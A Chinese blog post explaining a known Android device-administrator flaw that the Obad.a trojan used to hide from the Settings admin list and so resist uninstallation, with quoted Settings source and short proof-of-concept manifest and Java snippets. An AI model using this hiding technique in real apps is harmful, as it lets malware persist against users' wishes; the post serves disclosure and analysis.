`
ydbc
  • 浏览: 718866 次
  • 性别: Icon_minigender_1
  • 来自: 大连
文章分类
社区版块
存档分类
最新评论

Android设备管理器漏洞

 
阅读更多

本文章由Jack_Jia编写,转载请注明出处。

文章链接:http://blog.csdn.net/jiazhijun/article/details/9124747
作者:Jack_Jia 邮箱:309zhijun@163.com


一、漏洞描述

目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载。其实该漏洞早在去年底已被发现。(http://www.anguanjia.com/?c=news_view&id=435

注册为“设备管理器”的应用是无法被直接卸载的。只有取消激活“设备管理器”后才可以直接卸载。

木马可以利用Android设备管理器漏洞达到在设备管理器列表“隐身”的效果。这样用户就无法进去“取消激活”页面,从而达到无法卸载的目的。


二、影响版本

android2.2及以上

三、漏洞原理

首先我们来看一下Settings app如何形成设备管理器列表的:


相关类:

packages\apps\settings\src\com\android\settings\DeviceAdminSettings.java


public class DeviceAdminSettings extends ListFragment {

DevicePolicyManager mDPM;
final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>();
final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();

@Override
public void onResume() {
super.onResume();
updateList();
}

void updateList() {
mActiveAdmins.clear();
List<ComponentName> cur = mDPM.getActiveAdmins();
if (cur != null) {
for (int i=0; i<cur.size(); i++) {
mActiveAdmins.add(cur.get(i));
}
}

mAvailableAdmins.clear();
List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers(
new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),
PackageManager.GET_META_DATA);//通过查询广播”android.app.action.DEVICE_ADMIN_ENABLED“来得到可用的设 //备管理器程序列表
int count = avail == null ? 0 : avail.size();
for (int i=0; i<count; i++) {
ResolveInfo ri = avail.get(i);
try {
DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri);
if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) {
mAvailableAdmins.add(dpi);
}
//如果应用已激活设备管理器&&注册了”android.app.action.DEVICE_ADMIN_ENABLED“就出现在可用设备管理器列表
} catch (XmlPullParserException e) {
Log.w(TAG, "Skipping " + ri.activityInfo, e);
} catch (IOException e) {
Log.w(TAG, "Skipping " + ri.activityInfo, e);
}
}

getListView().setAdapter(new PolicyListAdapter());
}

.......

class PolicyListAdapter extends BaseAdapter {
.......

public void bindView(View view, int position) {
final Activity activity = getActivity();
ViewHolder vh = (ViewHolder) view.getTag();
DeviceAdminInfo item = mAvailableAdmins.get(position);//显示mAvailableAdmins中数据
vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));
vh.name.setText(item.loadLabel(activity.getPackageManager()));
vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));
try {
vh.description.setText(item.loadDescription(activity.getPackageManager()));
} catch (Resources.NotFoundException e) {
}
}
}

}

由Android Settings App源代码可以看出,如果想在设备管理器列表中”隐身“,只要不注册”android.app.action.DEVICE_ADMIN_ENABLED“广播就行。

四、POC代码

AndroidMainfest.xml文件注册组件:


<receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name"
Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data Android:name="android.app.device_admin"
Android:resource="@xml/device_admin" />

</receiver>

java代码注册激活设备管理器:


Intent intent = new Intent(
DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver");
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
mDeviceComponentName);
this.startActivity(intent,0);


五、相关链接

http://www.anguanjia.com/?c=news_view&id=435
http://blog.csdn.net/jiazhijun/article/details/9045773

分享到:
评论

相关推荐

    android-exploit-

    根植的Android设备 Android骇客工具 行动应用程式(Android专用) -Android远程管理工具 枚举本地主机,发现漏洞及其漏洞,破解Wi-Fi密码,安装后门的工具blablabla! 合一Android Pentest工具 网络映射,端口...

    android手机安全卫士

    2、通过分析恶意代码的提权漏洞,讲解如何维护系统的安全。 3、通过linux键盘驱动案例的讲解,分析盗号木马的原理及其实现方式。 4、恶意软件发展速度的确一日千里,安全软件也要与时俱进,世面上的手机病毒已经具有...

    dSploit-Android平台安全管理工具包

    dSploit--开源的专业的Android平台安全管理工具包 ...在Android设备至少2.3(Gingerbread)版本的操作系统。 该设备必须root。 设备必须有一个BusyBox的完全安装,这意味着安装所有的工具(而不是部分安装)。

    sieve.apk(drozer测试应用程序)

    【1】 sieve.apk:一密码管理器应用程序,展示一些常见的安卓系统漏洞,用于配合drozer测试实验。 【2】配合使用手册见:http://download.csdn.net/detail/zhoaya188/9055491 sieve-A Password Manager App, ...

    drozer-agent-2.3.4.apk

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer_2.3.4.deb (Debian-Ubuntu Archive)

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer-2.3.4-1.noarch.rpm

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer 2.3.4 (Windows Installer)

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer用户手册-drozer Users' Guide-2.3.4

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer (Python .egg)- drozer-2.3.4.tar.gz

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    drozer-agent:Mercury安全评估框架的Android代理

    打开Android Studio并从中启动Android SDK管理器(“工具”&gt;“ Android”&gt;“ SDK Manager”) 检查是否已安装这两个组件并将其更新为最新版本。 如有必要,请安装或升级它们。 Android SDK平台工具 Android支持库 ...

    drozer简介及使用

    对于远程漏洞,drozer能够生产shellcode帮助你部署drozer代理作为一个远程管理工具,最大化对设备的利用。 更快的Android安全评估 drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。 ...

    【最新版】Dashlane.dmg 6.2004.0.32116【亲测可用】最好的密码管理器

    自动将您的 Dashlane 数据同步到每台设备,无论您是 Apple 的忠实用户、Android 的粉丝,还是两者皆有之。 每次都在每个帐户上自动填充正确的用户名和密码。 一次点击即可填充地址和其他表单。 无需再寻找卡号,...

    ClickFast:诱使用户点击按钮的 Android 应用

    一种应用程序,通过让用户反复按下按钮并在其上弹出添加设备管理对话框来诱使用户将其启用为设备管理员。 这个“漏洞利用”在有详细说明 此应用程序是无害的; 它不需要任何设备管理员权限。 可以从 bin/ 文件夹...

    Android-Network-Scanner-For-Pentester

    它允许用户执行多种功能,例如: 主机发现端口扫描漏洞扫描Wi-Fi密码破解(字典攻击) 互联网速度测试管理用户资料先决条件根植的Android设备在您已扎根的Android设备上下载并安装Nmap二进制文件在开始之前我们需要...

    apktoolmv2.4.0_downcc.com.apk

    具有许多功能的 便捷文件管理器。 使用各种类型的安装文件-* .apk,* .apks,* .xapk,* .apkm。 反分裂 -将Android App Bundle(拆分)合并到一个安装文件中,以及安装和解压缩此类文件。 创建自己的签名和签名...

    AVG AntiVirus Pro 5.9.4.1.apk

    只要安装AVG Mobilation免费杀毒,您就可以获得有效、易用的、针对病毒和恶意软件的防护,以及实时扫描、备份助手、手机定位、任务管理器、程序加密及手机内容擦除等多项功能。 实时扫描 无论您是下载应用还是游戏...

    clipcaster:LastPass 剪贴板密码嗅探器

    但他们可能无法做任何事情来使 app-fill 在 5.0 之前的设备(目前占设备的 95% 以上)安全地工作我不再维护这个应用程序,因为我相信它已经达到了它的最初目的:宣传 Android 密码管理器中的剪贴板漏洞。 如果有人想...

    网络安全思维导图

    android_windows_恶意病毒发展史.png apk攻防.png iOS应用审计系统.png 移动App漏洞检测平台.png 运维安全 DDoS攻击及对策.jpg Linux检查脚本.jpeg SAE运维体系.jpg SIEM系统的结构图.jpg TCP:IP参考模型的...

    Eluvium-crx插件

    Eluvium数据保护和密码管理器解决方案,加密您的文件,保存密码,并为您提供从计算机和移动设备的安全访问。Eluvium让您控制您的数字生命,使您的数字寿命变得易于守信您的关键信息安全和安全,因此您可以随时随地...

Global site tag (gtag.js) - Google Analytics